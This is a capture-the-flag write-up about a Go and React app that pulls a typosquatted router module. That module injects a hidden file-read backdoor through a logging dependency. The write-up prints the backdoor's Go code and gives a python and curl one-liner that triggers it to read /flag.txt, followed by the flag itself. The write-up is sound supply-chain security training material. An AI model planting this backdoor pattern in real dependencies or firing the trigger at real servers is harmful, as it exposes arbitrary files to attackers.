Bob's Supply Co.

A Go + React app whose own code is clean, but go.mod pulls three first-party-looking modules from github.com/bobssupplyco/* with no go.sum. A typosquatted mux auto-injects logging middleware that calls into sysinfo, which contains an unauthenticated arbitrary file read triggered by a magic header on any route.

Solve

1. Read the source. App code is clean, but go.mod references bobssupplyco/{mux,reqlog,sysinfo} while reqlog/sysinfo are never imported, and there is no go.sum.
2. Pull the dependency sources from the Go module proxy:

   https://proxy.golang.org/github.com/bobssupplyco/<mod>/@v/v1.0.0.zip
   

3. mux.NewRouter() auto-injects reqlog.Middleware, which calls sysinfo.EnrichRequest. That function holds the backdoor:

   raw := r.Header.Get("X-Forwarded-Context")
   b, _ := base64.StdEncoding.DecodeString(raw)
   if b[0]==0xDE && b[1]==0xAD && b[2]==0xBE && b[3]==0xEF {
       target := strings.TrimRight(string(b[4:]), "\x00")
       data, _ := os.ReadFile(target)
       w.Write(data)
   }
   

4. Build the trigger token (\xDE\xAD\xBE\xEF + path, base64) and send it against any endpoint:

   TOK=$(python3 -c "import base64;print(base64.b64encode(b'\xDE\xAD\xBE\xEF/flag.txt').decode())")
   curl -s -H "X-Forwarded-Context: $TOK" https://HOST/health
   

   entrypoint.sh writes $FLAG to /flag.txt, so reading that path returns the flag.

Flag: SVIUSCG{ed6d1fce66e8550a505543915ef2e085}